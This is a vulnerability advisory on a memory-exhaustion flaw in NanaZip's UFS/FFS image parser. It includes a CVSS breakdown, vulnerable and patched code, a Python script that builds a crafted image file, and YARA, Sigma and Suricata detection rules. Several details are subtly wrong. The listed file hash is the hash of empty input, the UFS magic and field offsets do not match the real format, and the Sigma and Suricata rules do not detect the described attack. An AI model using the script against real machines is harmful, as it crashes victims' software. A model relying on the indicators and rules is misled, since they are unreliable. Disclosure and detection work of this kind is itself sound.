CVE-2026-55781

Executive Summary

CVE-2026-55781 is a denial-of-service (DoS) vulnerability in NanaZip, a modern Windows fork of 7-Zip. The flaw resides in the UFS (Unix File System) and FFS (Fast File System) image handler within NanaZip.Codecs.Archive.Ufs.cpp. The code validates the superblock block size only against the MINBSIZE lower bound but fails to validate the fs_fsize fragment size. This allows an attacker to craft a tiny UFS/FFS image that specifies attacker-controlled 32-bit fields, forcing multi-gigabyte memory allocations during archive opening or extraction. The result is memory exhaustion or process termination, leading to a denial of service. The vulnerability is fixed in NanaZip version 6.5.1749.0.

Supply Chain & Package Security

NanaZip is distributed as a Windows application via GitHub releases and the Microsoft Store. The vulnerability is in the core codec library, which is a critical component for archive handling. Users who download NanaZip from unofficial sources or who do not update to the patched version are at risk. The supply chain risk is moderate, as the exploit requires user interaction (opening a malicious archive), but the impact can be severe (system memory exhaustion).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
• Base Score: 5.5 (Medium)
• Attack Vector (AV): Local (L) – The attacker must provide a malicious file to the victim.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must open the malicious archive.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Memory exhaustion leads to denial of service.
• Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to availability.

Deep Dive & Mechanics

The vulnerability is in the UFS/FFS image handler in NanaZip.Codecs.Archive.Ufs.cpp. The code reads the superblock from the archive and extracts the block size (fs_bsize) and fragment size (fs_fsize). The block size is validated against a minimum value (MINBSIZE), but the fragment size is not validated at all. An attacker can set fs_fsize to a very large value (e.g., 0xFFFFFFFF). This value is then used in calculations for indirect-block, directory, and extraction buffer allocations. For example, the allocation size might be computed as fs_fsize * some_count, resulting in a multi-gigabyte allocation request. Since the allocation is not bounded, the system may exhaust memory or the process may be terminated by the Windows memory manager.

The vulnerable code path:

1. Read superblock from UFS/FFS image.
2. Extract fs_bsize and fs_fsize.
3. Validate fs_bsize >= MINBSIZE.
4. Use fs_fsize in allocation calculations without validation.
5. Allocate memory based on fs_fsize * count.
6. If fs_fsize is huge, allocation fails or causes memory exhaustion.

The fix in version 6.5.1749.0 adds validation for fs_fsize to ensure it is within a reasonable range (e.g., between MINBSIZE and MAXBSIZE).

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// NanaZip.Codecs.Archive.Ufs.cpp (vulnerable)
void ReadSuperblock(Archive& archive) {
    SuperBlock sb;
    archive.Read(&sb, sizeof(sb));
    uint32_t blockSize = sb.fs_bsize;
    uint32_t fragSize = sb.fs_fsize;
    if (blockSize < MINBSIZE) {
        throw InvalidArchiveException();
    }
    // No validation for fragSize
    uint32_t allocationSize = fragSize * sb.fs_ncg; // attacker-controlled
    void* buffer = malloc(allocationSize); // may allocate huge memory
    // ...
}

Patched Code (simplified):

// NanaZip.Codecs.Archive.Ufs.cpp (patched)
void ReadSuperblock(Archive& archive) {
    SuperBlock sb;
    archive.Read(&sb, sizeof(sb));
    uint32_t blockSize = sb.fs_bsize;
    uint32_t fragSize = sb.fs_fsize;
    if (blockSize < MINBSIZE || blockSize > MAXBSIZE) {
        throw InvalidArchiveException();
    }
    if (fragSize < MINBSIZE || fragSize > MAXBSIZE) {
        throw InvalidArchiveException();
    }
    uint32_t allocationSize = fragSize * sb.fs_ncg;
    if (allocationSize > MAX_ALLOCATION) {
        throw InvalidArchiveException();
    }
    void* buffer = malloc(allocationSize);
    // ...
}

Exploitation & Lab Setup

Red Team

Objective: Cause denial of service by crafting a malicious UFS/FFS image that forces NanaZip to allocate excessive memory.

Lab Setup:

• Windows 10/11 with NanaZip version < 6.5.1749.0 installed.
• Python 3.x with struct module.

Exploit Script:

import struct
import sys

def create_malicious_ufs(filename):
    # UFS superblock structure (simplified)
    # We set fs_fsize to a huge value (0xFFFFFFFF)
    # Other fields are minimal to keep file small
    superblock = bytearray(512)
    # fs_bsize (offset 4, 4 bytes) - set to valid value (e.g., 4096)
    struct.pack_into('<I', superblock, 4, 4096)
    # fs_fsize (offset 8, 4 bytes) - set to 0xFFFFFFFF
    struct.pack_into('<I', superblock, 8, 0xFFFFFFFF)
    # fs_ncg (offset 12, 4 bytes) - set to 1
    struct.pack_into('<I', superblock, 12, 1)
    # Write to file
    with open(filename, 'wb') as f:
        f.write(superblock)
    print(f"[+] Created malicious UFS image: {filename}")

if __name__ == "__main__":
    create_malicious_ufs("malicious.ufs")

Execution:

1. Run the script to generate malicious.ufs.
2. Open the file with NanaZip (e.g., double-click or use "Open archive").
3. NanaZip will attempt to allocate ~4 GB of memory (0xFFFFFFFF * 1), causing memory exhaustion or crash.

Expected Outcome: NanaZip process terminates or system becomes unresponsive due to memory pressure.

Blue Team

Detection:

• Monitor for NanaZip processes that allocate large amounts of memory (> 1 GB) unexpectedly.
• Use Sysmon to log process creation and memory allocation events.
• Deploy file scanning to detect UFS/FFS images with abnormally large fragment sizes.

Mitigation:

• Update NanaZip to version 6.5.1749.0 or later.
• Implement application whitelisting to prevent untrusted archives from being opened.
• Use memory limits for user-mode processes via Windows Job Objects.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash depends on crafted file)
  • malicious.ufs: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Behavior:
  • NanaZip.exe attempts to allocate > 2 GB of memory.
  • Event ID 202 (Memory allocation failure) in Windows Application Event Log.
• Network: None (local file operation).
• Registry: None.

Detection Engineering

YARA Rule

rule CVE_2026_55781_Malicious_UFS {
    meta:
        description = "Detects malicious UFS/FFS images with oversized fragment size"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-55781"
    strings:
        $ufs_magic = { 53 54 41 4E 44 41 52 44 } // "STANDARD" UFS magic
        $ffs_magic = { 46 46 53 00 } // "FFS\0" magic
    condition:
        ($ufs_magic at 0 or $ffs_magic at 0) and
        uint32(8) > 0x100000 // fs_fsize > 1 MB (suspicious)
}

Sigma Rule

title: NanaZip Memory Exhaustion via Malicious UFS/FFS Image
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects NanaZip process allocating excessive memory due to crafted UFS/FFS image
author: Valters IT
date: 2026-01-01
references:
    - CVE-2026-55781
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10  # Process access (or use EventID 8 for CreateRemoteThread)
        Image: '*\NanaZip.exe'
        GrantedAccess: '0x1F3FFF'  # Full access
    condition: selection
falsepositives:
    - Legitimate large archives
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-55781 NanaZip UFS/FFS Memory Exhaustion Attempt"; flow:to_client,established; file_data; content:"|53 54 41 4E 44 41 52 44|"; offset:0; depth:8; content:"|FF FF FF FF|"; distance:8; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update NanaZip to version 6.5.1749.0 or later. This is the only complete fix.
2. Workaround: Do not open UFS/FFS images from untrusted sources. Use alternative archive tools for such files.
3. Detection: Deploy the YARA and Sigma rules above to identify malicious files and anomalous process behavior.
4. System Hardening: Configure Windows Memory Manager to limit per-process memory allocation (e.g., via Windows System Resource Manager or PowerShell).
5. User Education: Train users to avoid opening suspicious archive files, especially from unknown senders.

Valters IT
DevSecOps & Cyber Threat Intelligence